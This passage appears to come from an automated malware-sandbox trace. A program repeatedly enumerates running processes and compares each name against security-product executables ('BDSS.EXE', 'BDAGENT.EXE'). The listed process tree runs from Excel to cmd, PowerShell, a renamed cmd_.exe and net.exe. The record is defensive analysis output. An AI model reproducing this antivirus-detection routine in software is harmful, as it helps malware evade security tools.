returned 0x18 [0074.376] lstrcmpW (lpString1="APPEARS_LI_PRESSED_H.EXE", lpString2="BDSS.EXE") returned -1 [0074.376] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="quite-consumer-opera.exe")) returned 1 [0074.377] lstrcpyW (in: lpString1=0x18f0b0, lpString2="quite-consumer-opera.exe" | out: lpString1="quite-consumer-opera.exe") returned="quite-consumer-opera.exe" [0074.377] lstrlenW (lpString="quite-consumer-opera.exe") returned 24 [0074.377] CharUpperBuffW (in: lpsz="quite-consumer-opera.exe", cchLength=0x18 | out: lpsz="QUITE-CONSUMER-OPERA.EXE") returned 0x18 [0074.377] lstrcmpW (lpString1="QUITE-CONSUMER-OPERA.EXE", lpString2="BDSS.EXE") returned 1 [0074.377] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="tile-conflict-specializing-authentic.exe")) returned 1 [0074.377] lstrcpyW (in: lpString1=0x18f0b0, lpString2="tile-conflict-specializing-authentic.exe" | out: lpString1="tile-conflict-specializing-authentic.exe") returned="tile-conflict-specializing-authentic.exe" [0074.377] lstrlenW (lpString="tile-conflict-specializing-authentic.exe") returned 40 [0074.377] CharUpperBuffW (in: lpsz="tile-conflict-specializing-authentic.exe", cchLength=0x28 | out: lpsz="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE") returned 0x28 [0074.377] lstrcmpW (lpString1="TILE-CONFLICT-SPECIALIZING-AUTHENTIC.EXE", lpString2="BDSS.EXE") returned 1 [0074.377] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlimited breakdown.exe")) returned 1 [0074.378] lstrcpyW (in: lpString1=0x18f0b0, lpString2="unlimited breakdown.exe" | out: lpString1="unlimited breakdown.exe") returned="unlimited breakdown.exe" [0074.378] lstrlenW (lpString="unlimited breakdown.exe") returned 23 [0074.378] CharUpperBuffW (in: lpsz="unlimited breakdown.exe", cchLength=0x17 | out: lpsz="UNLIMITED BREAKDOWN.EXE") returned 0x17 [0074.378] lstrcmpW (lpString1="UNLIMITED BREAKDOWN.EXE", lpString2="BDSS.EXE") returned 1 [0074.378] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="aluminiumglmessagesymptoms.exe")) returned 1 [0074.378] lstrcpyW (in: lpString1=0x18f0b0, lpString2="aluminiumglmessagesymptoms.exe" | out: lpString1="aluminiumglmessagesymptoms.exe") returned="aluminiumglmessagesymptoms.exe" [0074.378] lstrlenW (lpString="aluminiumglmessagesymptoms.exe") returned 30 [0074.378] CharUpperBuffW (in: lpsz="aluminiumglmessagesymptoms.exe", cchLength=0x1e | out: lpsz="ALUMINIUMGLMESSAGESYMPTOMS.EXE") returned 0x1e [0074.378] lstrcmpW (lpString1="ALUMINIUMGLMESSAGESYMPTOMS.EXE", lpString2="BDSS.EXE") returned -1 [0074.378] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="EXCEL.EXE")) returned 1 [0074.379] lstrcpyW (in: lpString1=0x18f0b0, lpString2="EXCEL.EXE" | out: lpString1="EXCEL.EXE") returned="EXCEL.EXE" [0074.379] lstrlenW (lpString="EXCEL.EXE") returned 9 [0074.379] CharUpperBuffW (in: lpsz="EXCEL.EXE", cchLength=0x9 | out: lpsz="EXCEL.EXE") returned 0x9 [0074.379] lstrcmpW (lpString1="EXCEL.EXE", lpString2="BDSS.EXE") returned 1 [0074.379] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0074.379] lstrcpyW (in: lpString1=0x18f0b0, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE" [0074.379] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0074.379] CharUpperBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="OSPPSVC.EXE") returned 0xb [0074.379] lstrcmpW (lpString1="OSPPSVC.EXE", lpString2="BDSS.EXE") returned 1 [0074.379] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="MSOSYNC.EXE")) returned 1 [0074.380] lstrcpyW (in: lpString1=0x18f0b0, lpString2="MSOSYNC.EXE" | out: lpString1="MSOSYNC.EXE") returned="MSOSYNC.EXE" [0074.380] lstrlenW (lpString="MSOSYNC.EXE") returned 11 [0074.380] CharUpperBuffW (in: lpsz="MSOSYNC.EXE", cchLength=0xb | out: lpsz="MSOSYNC.EXE") returned 0xb [0074.380] lstrcmpW (lpString1="MSOSYNC.EXE", lpString2="BDSS.EXE") returned 1 [0074.380] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.380] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.380] lstrlenW (lpString="svchost.exe") returned 11 [0074.380] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.380] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.380] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x82c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.381] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.381] lstrlenW (lpString="cmd.exe") returned 7 [0074.381] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.381] lstrcmpW (lpString1="CMD.EXE", lpString2="BDSS.EXE") returned 1 [0074.381] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.381] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.381] lstrlenW (lpString="conhost.exe") returned 11 [0074.381] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.381] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.381] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0xb94, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0074.382] lstrcpyW (in: lpString1=0x18f0b0, lpString2="powershell.exe" | out: lpString1="powershell.exe") returned="powershell.exe" [0074.382] lstrlenW (lpString="powershell.exe") returned 14 [0074.382] CharUpperBuffW (in: lpsz="powershell.exe", cchLength=0xe | out: lpsz="POWERSHELL.EXE") returned 0xe [0074.382] lstrcmpW (lpString1="POWERSHELL.EXE", lpString2="BDSS.EXE") returned 1 [0074.382] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd_.exe")) returned 1 [0074.382] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd_.exe" | out: lpString1="cmd_.exe") returned="cmd_.exe" [0074.382] lstrlenW (lpString="cmd_.exe") returned 8 [0074.382] CharUpperBuffW (in: lpsz="cmd_.exe", cchLength=0x8 | out: lpsz="CMD_.EXE") returned 0x8 [0074.382] lstrcmpW (lpString1="CMD_.EXE", lpString2="BDSS.EXE") returned 1 [0074.382] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.383] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.383] lstrlenW (lpString="taskeng.exe") returned 11 [0074.383] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.383] lstrcmpW (lpString1="TASKENG.EXE", lpString2="BDSS.EXE") returned 1 [0074.383] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.383] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.383] lstrlenW (lpString="cmd.exe") returned 7 [0074.383] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.383] lstrcmpW (lpString1="CMD.EXE", lpString2="BDSS.EXE") returned 1 [0074.383] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.384] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.384] lstrlenW (lpString="conhost.exe") returned 11 [0074.384] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.384] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.384] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.384] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.384] lstrlenW (lpString="cmd.exe") returned 7 [0074.384] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.384] lstrcmpW (lpString1="CMD.EXE", lpString2="BDSS.EXE") returned 1 [0074.384] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.385] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.385] lstrlenW (lpString="conhost.exe") returned 11 [0074.385] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.385] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.385] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.385] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.385] lstrlenW (lpString="cmd.exe") returned 7 [0074.385] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.385] lstrcmpW (lpString1="CMD.EXE", lpString2="BDSS.EXE") returned 1 [0074.385] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.386] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.386] lstrlenW (lpString="conhost.exe") returned 11 [0074.386] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.386] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.386] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x814, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.387] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.387] lstrlenW (lpString="cmd.exe") returned 7 [0074.387] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.387] lstrcmpW (lpString1="CMD.EXE", lpString2="BDSS.EXE") returned 1 [0074.387] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.387] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.387] lstrlenW (lpString="net.exe") returned 7 [0074.387] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.387] lstrcmpW (lpString1="NET.EXE", lpString2="BDSS.EXE") returned 1 [0074.387] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.388] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.388] lstrlenW (lpString="conhost.exe") returned 11 [0074.388] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.388] lstrcmpW (lpString1="CONHOST.EXE", lpString2="BDSS.EXE") returned 1 [0074.388] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0074.388] CloseHandle (hObject=0x118) returned 1 [0074.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.390] lstrcpyW (in: lpString1=0x18eea8, lpString2="bdagent.exe" | out: lpString1="bdagent.exe") returned="bdagent.exe" [0074.390] lstrlenW (lpString="bdagent.exe") returned 11 [0074.390] CharUpperBuffW (in: lpsz="bdagent.exe", cchLength=0xb | out: lpsz="BDAGENT.EXE") returned 0xb [0074.390] Process32FirstW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.390] lstrcpyW (in: lpString1=0x18f0b0, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0074.390] lstrlenW (lpString="[System Process]") returned 16 [0074.391] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0074.391] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="BDAGENT.EXE") returned -1 [0074.391] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.391] lstrcpyW (in: lpString1=0x18f0b0, lpString2="System" | out: lpString1="System") returned="System" [0074.391] lstrlenW (lpString="System") returned 6 [0074.391] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0074.391] lstrcmpW (lpString1="SYSTEM", lpString2="BDAGENT.EXE") returned 1 [0074.391] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.391] lstrcpyW (in: lpString1=0x18f0b0, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0074.391] lstrlenW (lpString="smss.exe") returned 8 [0074.392] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0074.392] lstrcmpW (lpString1="SMSS.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.392] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.392] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.392] lstrlenW (lpString="csrss.exe") returned 9 [0074.392] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.392] lstrcmpW (lpString1="CSRSS.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.392] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.392] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0074.392] lstrlenW (lpString="wininit.exe") returned 11 [0074.392] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0074.393] lstrcmpW (lpString1="WININIT.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.393] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.393] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.393] lstrlenW (lpString="csrss.exe") returned 9 [0074.393] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.393] lstrcmpW (lpString1="CSRSS.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.393] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.393] lstrcpyW (in: lpString1=0x18f0b0, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0074.393] lstrlenW (lpString="winlogon.exe") returned 12 [0074.393] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0074.394] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.394] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.394] lstrcpyW (in: lpString1=0x18f0b0, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0074.394] lstrlenW (lpString="services.exe") returned 12 [0074.394] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0074.394] lstrcmpW (lpString1="SERVICES.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.394] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.394] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0074.394] lstrlenW (lpString="lsass.exe") returned 9 [0074.394] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0074.395] lstrcmpW (lpString1="LSASS.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.395] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.395] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0074.395] lstrlenW (lpString="lsm.exe") returned 7 [0074.395] CharUpperBuffW (in: lpsz="lsm.exe", cchLength=0x7 | out: lpsz="LSM.EXE") returned 0x7 [0074.395] lstrcmpW (lpString1="LSM.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.395] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.395] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.395] lstrlenW (lpString="svchost.exe") returned 11 [0074.395] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.396] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.396] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.396] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.396] lstrlenW (lpString="svchost.exe") returned 11 [0074.396] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.396] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.396] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.396] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.396] lstrlenW (lpString="svchost.exe") returned 11 [0074.396] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.397] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.397] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.397] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.397] lstrlenW (lpString="svchost.exe") returned 11 [0074.397] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.397] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="BDAGENT.EXE") returned 1 [0074.397] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.397] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.397] lstrlenW (lpString="svchost.exe") returned 11 [0074.397] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") 